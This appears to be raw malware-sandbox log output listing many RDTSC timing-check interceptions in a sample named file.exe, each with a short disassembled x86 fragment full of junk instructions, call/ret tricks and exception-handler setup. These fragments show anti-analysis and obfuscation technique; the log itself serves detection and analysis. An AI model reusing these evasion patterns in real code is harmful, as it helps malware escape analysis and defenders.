Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF654 second address: CCF688 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 jmp 00007FA328DF73AAh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 pushad 0x00000012 push edi 0x00000013 jo 00007FA328DF73A6h 0x00000019 pop edi 0x0000001a jns 00007FA328DF73ACh 0x00000020 popad 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 push esi 0x00000026 pushad 0x00000027 popad 0x00000028 pop esi 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF688 second address: CCF68E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF68E second address: CCF692 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE570 second address: CCE57E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCE57E second address: CCE582 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF8CD second address: CCF8EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CCF8EA second address: CCF8F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FA328DF73A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD48D7 second address: CD48DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD48DF second address: CD48E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD48E5 second address: CD48EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD48EE second address: CD4912 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA328DF73A8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 pushad 0x00000013 je 00007FA328DF73A6h 0x00000019 push edi 0x0000001a pop edi 0x0000001b jnp 00007FA328DF73A6h 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4039 second address: CD4069 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FA32872BAF7h 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d jng 00007FA32872BAE6h 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jp 00007FA32872BAE6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4069 second address: CD407C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA328DF73ABh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD407C second address: CD4088 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD4088 second address: CD408C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD41B3 second address: CD41D8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jbe 00007FA32872BAE6h 0x0000000d pop ebx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA32872BAF4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD6664 second address: CD6668 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD6668 second address: CD6674 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007FA32872BAE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD6674 second address: CD667A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD85E0 second address: CD85EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FA32872BAE6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8636 second address: CD8699 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 add dword ptr [esp], 3A2241A8h 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007FA328DF73A8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov dword ptr [ebp+122D2324h], ebx 0x0000002d call 00007FA328DF73A9h 0x00000032 jne 00007FA328DF73B8h 0x00000038 push eax 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FA328DF73ACh 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8699 second address: CD869D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD869D second address: CD86A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD86A3 second address: CD86B9 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA32872BAE8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD86B9 second address: CD86FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007FA328DF73A6h 0x00000009 jmp 00007FA328DF73B7h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jbe 00007FA328DF73BFh 0x0000001b jmp 00007FA328DF73B9h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD86FF second address: CD871C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007FA32872BAE8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD871C second address: CD8721 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8C63 second address: CD8C6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CD8D8F second address: CD8D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDA651 second address: CDA65B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA32872BAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDA4CE second address: CDA4D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDA65B second address: CDA683 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnp 00007FA32872BAF4h 0x00000010 push eax 0x00000011 push edx 0x00000012 jbe 00007FA32872BAE6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB6C7 second address: CDB6CD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBFC2 second address: CDBFC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDBFC8 second address: CDBFCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD496 second address: CDD4F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov esi, dword ptr [ebp+122D1CB7h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FA32872BAE8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a jmp 00007FA32872BAF9h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 je 00007FA32872BAE9h 0x00000038 mov di, dx 0x0000003b pop esi 0x0000003c xchg eax, ebx 0x0000003d push eax 0x0000003e push edx 0x0000003f jl 00007FA32872BAE8h 0x00000045 push edi 0x00000046 pop edi 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE109A second address: CE10BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA328DF73B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD246 second address: CDD263 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007FA32872BAF1h 0x0000000a popad 0x0000000b push eax 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDDD52 second address: CDDD58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDD263 second address: CDD267 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDF2FE second address: CDF323 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jmp 00007FA328DF73B9h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE378B second address: CE3791 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3791 second address: CE37A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA328DF73ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE3D82 second address: CE3D91 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA32872BAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE4E08 second address: CE4E34 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA328DF73ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA328DF73B9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE61DE second address: CE61F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FA32872BAE6h 0x00000009 jne 00007FA32872BAE6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE70DB second address: CE70DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE7FAF second address: CE7FB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE70DF second address: CE70E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE8E02 second address: CE8E0C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9022 second address: CE9028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CE9028 second address: CE9087 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov bh, 05h 0x0000000b cld 0x0000000c push dword ptr fs:[00000000h] 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007FA32872BAE8h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d xor edi, 5B31C189h 0x00000033 mov dword ptr fs:[00000000h], esp 0x0000003a mov edi, 3B73D2FDh 0x0000003f cld 0x00000040 mov eax, dword ptr [ebp+122D0405h] 0x00000046 movzx ebx, di 0x00000049 push FFFFFFFFh 0x0000004b ja 00007FA32872BAECh 0x00000051 nop 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 pushad 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEAF4A second address: CEAF6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jns 00007FA328DF73A6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FA328DF73B1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA0C5 second address: CEA0E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEA0E3 second address: CEA0F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jne 00007FA328DF73A6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CED670 second address: CED675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF1501 second address: CF159B instructions: 0x00000000 rdtsc 0x00000002 jp 00007FA328DF73ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jg 00007FA328DF73AEh 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007FA328DF73A8h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 00000017h 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c jmp 00007FA328DF73B4h 0x00000031 jmp 00007FA328DF73B1h 0x00000036 push 00000000h 0x00000038 push esi 0x00000039 sub edi, dword ptr [ebp+1246D9DEh] 0x0000003f pop ebx 0x00000040 push 00000000h 0x00000042 push 00000000h 0x00000044 push ebx 0x00000045 call 00007FA328DF73A8h 0x0000004a pop ebx 0x0000004b mov dword ptr [esp+04h], ebx 0x0000004f add dword ptr [esp+04h], 00000017h 0x00000057 inc ebx 0x00000058 push ebx 0x00000059 ret 0x0000005a pop ebx 0x0000005b ret 0x0000005c xor bx, D066h 0x00000061 xchg eax, esi 0x00000062 push edi 0x00000063 push eax 0x00000064 push edx 0x00000065 push esi 0x00000066 pop esi 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF159B second address: CF15A7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push ebx 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF24B1 second address: CF24B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF24B5 second address: CF24CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 jc 00007FA32872BAECh 0x0000000f jng 00007FA32872BAE6h 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE980 second address: CEE985 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE985 second address: CEE98B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEE98B second address: CEE98F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF756 second address: CEF75A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEF75A second address: CEF768 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF344F second address: CF3453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF3453 second address: CF3477 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d jnc 00007FA328DF73A6h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF077E second address: CF0790 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CEB0C2 second address: CEB0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b popad 0x0000000c nop 0x0000000d push dword ptr fs:[00000000h] 0x00000014 mov bl, ah 0x00000016 mov dword ptr fs:[00000000h], esp 0x0000001d mov dword ptr [ebp+1246A326h], eax 0x00000023 mov eax, dword ptr [ebp+122D04B5h] 0x00000029 mov dword ptr [ebp+122D28C8h], edi 0x0000002f push FFFFFFFFh 0x00000031 mov ebx, dword ptr [ebp+122D26C9h] 0x00000037 push eax 0x00000038 pushad 0x00000039 pushad 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF26DA second address: CF26E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8F60 second address: CF8F64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CF8F64 second address: CF8F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CAE4 second address: C8CAEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CAEA second address: C8CAF4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CAF4 second address: C8CAFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CAFA second address: C8CB07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CB07 second address: C8CB0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8CB0B second address: C8CB23 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA32872BAE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jng 00007FA32872BAE6h 0x00000012 jne 00007FA32872BAE6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9BB5B second address: C9BB73 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FA328DF73AEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C9BB73 second address: C9BB80 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC32B second address: CFC336 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CFC4CD second address: CFC4D8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007FA32872BAE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D0589D second address: D058BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 jmp 00007FA328DF73B6h 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05EBE second address: D05EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D05FF5 second address: D06019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FA328DF73B1h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FA328DF73AAh 0x00000013 rdtsc
